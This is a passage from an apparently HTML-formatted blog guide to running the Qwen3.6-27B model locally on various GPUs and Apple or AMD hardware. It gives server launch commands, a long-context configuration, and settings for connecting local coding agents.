&lt;p&gt;&lt;em&gt;Expected speed: 15-30 tokens per second in short contexts. This is quite sufficient for use as a local coding assistant.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="2-mid-range-dual-gpu-48gb-vram"&gt;2. Mid-Range Dual GPU (48GB VRAM) 🖥️&lt;a class="headerlink" href="#2-mid-range-dual-gpu-48gb-vram" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;With two RTX 4090s or similar capacity hardware, you can comfortably run the FP8 variant or the BF16 version of the model. FP8 halves the memory footprint without compromising reasoning quality.&lt;/p&gt;
&lt;p&gt;To run with SGLang:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;sglang.launch_server&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--model-path&lt;span class="w"&gt; &lt;/span&gt;Qwen/Qwen3.6-27B-FP8&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--tp-size&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--mem-fraction-static&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.85&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--context-length&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;131072&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--reasoning-parser&lt;span class="w"&gt; &lt;/span&gt;qwen3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Expected speed: 40-70 tokens per second. This is the most ideal setup for individual developers and small teams.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="3-the-power-of-a-single-card-rtx-5090-32gb-vram"&gt;3. The Power of a Single Card: RTX 5090 (32GB VRAM) 🚀&lt;a class="headerlink" href="#3-the-power-of-a-single-card-rtx-5090-32gb-vram" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The RTX 5090 (Blackwell architecture) is the best single-card option for running Qwen3.6-27B, my friend. With 32 GB of VRAM, even after loading the Q4_K_M GGUF model (approx. 16.8 GB), there's a massive amount of space left for KV cache.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Caution! ⚠️ Blackwell sm_120 and FP8 Compatibility Issues&lt;/p&gt;
&lt;p&gt;If you encounter issues with SGLang due to some FP8 incompatibilities on the Blackwell architecture, a temporary solution might be to disable the radix cache feature and use BF16 KV cache instead of FP8&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;. The cleanest and most stable approach for now is to use GGUF via llama-server:&lt;/p&gt;
&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;llama-server&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-hf&lt;span class="w"&gt; &lt;/span&gt;unsloth/Qwen3.6-27B-GGUF:Q4_K_M&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--no-mmproj&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--fit&lt;span class="w"&gt; &lt;/span&gt;on&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-ngl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;99&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;65536&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--flash-attn&lt;span class="w"&gt; &lt;/span&gt;on&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--cache-type-k&lt;span class="w"&gt; &lt;/span&gt;q8_0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--cache-type-v&lt;span class="w"&gt; &lt;/span&gt;q8_0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--jinja&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--temp&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.6&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--top-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.95&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--top-k&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--reasoning&lt;span class="w"&gt; &lt;/span&gt;on&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--chat-template-kwargs&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"preserve_thinking": true}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Expected speed: 25-30 tokens/sec generation, 50-70 tokens/sec input processing.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="4-the-king-of-used-rtx-3090-24gb-vram"&gt;4. The King of Used: RTX 3090 (24GB VRAM) 👑&lt;a class="headerlink" href="#4-the-king-of-used-rtx-3090-24gb-vram" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The RTX 3090 remains the most sensible price-to-performance option for local AI developers. Its 24 GB VRAM capacity is the same as the 4090. You can load the Q4_K_M quantization with 16.8 GB of memory usage, leaving the remaining 7 GB for a 32K-64K context window.&lt;/p&gt;
&lt;p&gt;The fastest way to run with Ollama:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;pull&lt;span class="w"&gt; &lt;/span&gt;qwen3.5:27b-q4_K_M
ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;qwen3.5:27b-q4_K_M
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Note: Official Qwen3.6 support for Ollama is starting to roll out. If you can't find the 3.6 tag, you can also try the 3.5-27B version for performance comparisons.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="5-the-macos-world-apple-silicon-mlx"&gt;5. The macOS World: Apple Silicon (MLX) 🍎&lt;a class="headerlink" href="#5-the-macos-world-apple-silicon-mlx" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If you're on a Mac, the cleanest approach is to use the MLX library, which speaks directly to Apple's Metal infrastructure&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;. You can use the dynamic 4-bit MLX quantization prepared by Unsloth.&lt;/p&gt;
&lt;p&gt;The hardware limitation is critical here: An M3 Max model with 24GB of memory will barely manage but might feel sluggish. 🐌 For a smooth experience, aim for at least a 36GB M3 Max, 48GB M4 Pro, or higher (64GB/128GB) models.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pip&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;mlx-lm

&lt;span class="c1"&gt;# To run with thinking mode enabled:&lt;/span&gt;
python&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;mlx_vlm.chat&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--model&lt;span class="w"&gt; &lt;/span&gt;unsloth/Qwen3.6-27B-UD-MLX-4bit&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--chat-template-kwargs&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"enable_thinking":true}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="6-amd-strix-halo-apu"&gt;6. AMD Strix Halo APU 🎮&lt;a class="headerlink" href="#6-amd-strix-halo-apu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;AMD's Strix Halo (Ryzen AI Max+ 395) platform offers a fantastic alternative for local AI with 16 Zen 5 cores and a 40-CU RDNA 3.5 GPU sharing up to 128GB of unified LPDDR5X memory. You can dedicate 64-96GB of the memory entirely to the GPU, bypassing PCIe bottlenecks or VRAM limitations.&lt;/p&gt;
&lt;p&gt;Steps for compiling and running llama.cpp using the ROCm infrastructure:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Compiling for gfx1151 architecture&lt;/span&gt;
cmake&lt;span class="w"&gt; &lt;/span&gt;..&lt;span class="w"&gt; &lt;/span&gt;-DGGML_HIPBLAS&lt;span class="o"&gt;=&lt;/span&gt;ON&lt;span class="w"&gt; &lt;/span&gt;-DCMAKE_HIP_ARCHITECTURES&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"gfx1151"&lt;/span&gt;
make&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="k"&gt;$(&lt;/span&gt;nproc&lt;span class="k"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Starting the server&lt;/span&gt;
./llama-server&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;Qwen3.6-27B-Q4_K_M.gguf&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-ngl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;99&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;32768&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--flash-attn&lt;span class="w"&gt; &lt;/span&gt;on&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--host&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.0.0.0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8080&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Expected speed: 10-12 tokens per second with thinking mode enabled, 35-45 tokens per second with it disabled.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="framework-versions-are-critical_1"&gt;Framework Versions Are Critical!&lt;a class="headerlink" href="#framework-versions-are-critical" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To run the Qwen3.6-27B model smoothly and correctly, you need up-to-date libraries, my friend. Version mismatches can lead to erroneous outputs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SGLang&lt;/strong&gt;: &amp;gt;= 0.5.10&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;vLLM&lt;/strong&gt;: &amp;gt;= 0.19.0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transformers&lt;/strong&gt;: &amp;gt;= 4.51.0 or the latest main branch&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="pushing-the-million-token-limit-yarn-adjustment"&gt;Pushing the Million Token Limit: YaRN Adjustment&lt;a class="headerlink" href="#pushing-the-million-token-limit-yarn-adjustment" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you need more than the default 262K context window, you can update the RoPE parameters by opening the &lt;code&gt;config.json&lt;/code&gt; file in the model folder:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"mrope_interleaved"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"mrope_section"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"rope_type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"yarn"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"rope_theta"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10000000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"partial_rotary_factor"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"factor"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"original_max_position_embeddings"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;262144&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You can also pass the same setting directly as a launch parameter in vLLM:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;VLLM_ALLOW_LONG_MAX_MODEL_LEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;vllm&lt;span class="w"&gt; &lt;/span&gt;serve&lt;span class="w"&gt; &lt;/span&gt;Qwen/Qwen3.6-27B&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--tensor-parallel-size&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--max-model-len&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1010000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--hf-overrides&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"text_config": {"rope_parameters": {"mrope_interleaved": true, "mrope_section": [11, 11, 10], "rope_type": "yarn", "rope_theta": 10000000, "partial_rotary_factor": 0.25, "factor": 4.0, "original_max_position_embeddings": 262144}}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Caution! ⚡ YaRN Can Degrade Performance on Short Prompts&lt;/p&gt;
&lt;p&gt;Since YaRN scaling uses a fixed multiplier, it might slightly affect model quality on short texts. I recommend enabling this setting only when you truly need to analyze massive codebases.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="connecting-to-local-coding-agents"&gt;Connecting to Local Coding Agents&lt;a class="headerlink" href="#connecting-to-local-coding-agents" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Once the model is up and running, we can easily connect it to popular agents via OpenAI or Anthropic-compatible API protocols.&lt;/p&gt;
&lt;h3 id="openclaw-integration"&gt;OpenClaw Integration 🔌&lt;a class="headerlink" href="#openclaw-integration" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;For OpenClaw, the open-source coding agent you can self-host, update the &lt;code&gt;~/.openclaw/openclaw.json&lt;/code&gt; configuration file like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"models"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"mode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"merge"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"providers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"local"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"baseUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://localhost:8000/v1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"apiKey"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"EMPTY"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"api"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"openai-completions"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"models"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"qwen3.6-27b"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"qwen3.6-27b"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;"reasoning"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"image"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;"contextWindow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;131072&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;"maxTokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32768&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"agents"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"defaults"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"model"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"primary"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"local/qwen3.6-27b"&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="qwen-code-setup"&gt;Qwen Code Setup 💻&lt;a class="headerlink" href="#qwen-code-setup" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;You can install and start using Qwen Code, Alibaba's terminal agent specifically designed for Qwen models, right away:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;npm&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-g&lt;span class="w"&gt; &lt;/span&gt;&lt;a href="https://twitter.com/qwen"&gt;@qwen&lt;/a&gt;-code/qwen-code@latest
qwen
&lt;span class="c1"&gt;# In the terminal interface: Use the /auth command to enter your local endpoint address&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="using-local-models-with-claude-code"&gt;Using Local Models with Claude Code 📡&lt;a class="headerlink" href="#using-local-models-with-claude-code" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If you prefer using Claude Code, you can convince Qwen3.6-27B to behave like Claude by directing environment variables to your local API server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ANTHROPIC_MODEL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"qwen3.6-27b"&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ANTHROPIC_SMALL_FAST_MODEL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"qwen3.6-27b"&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ANTHROPIC_BASE_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"http://localhost:8000/v1"&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ANTHROPIC_AUTH_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"EMPTY"&lt;/span&gt;
claude
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="realistic-limitations-and-downsides-of-the-model_1"&gt;Realistic Limitations and Downsides of the Model&lt;a class="headerlink" href="#realistic-limitations-and-downsides-of-the-model" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Of course, not everything is sunshine and rainbows, my friend. Before setting up this model, you need to be aware of these details:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Power Consumption 🌡️:&lt;/strong&gt; Dense architectures consume significantly more electricity on the server and heat up the cards more than MoE models with fewer active parameters per forward pass.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hardware Requirement:&lt;/strong&gt; Even when quantized, it still requires a graphics card with at least 24 GB of VRAM. Running it smoothly on entry-level computers or low-spec laptops is challenging.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ecosystem Maturity:&lt;/strong&gt; As the model is very new, community-generated fine-tunes and tool integrations are still in their infancy.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to run on your local hardware with complete data privacy, without relying on cloud services, and without paying API bills, Qwen3.6-27B is currently one of the most formidable local options on the market.&lt;/p&gt;
&lt;p&gt;Stay safe, everyone! 👋&lt;/p&gt;
&lt;hr/&gt;
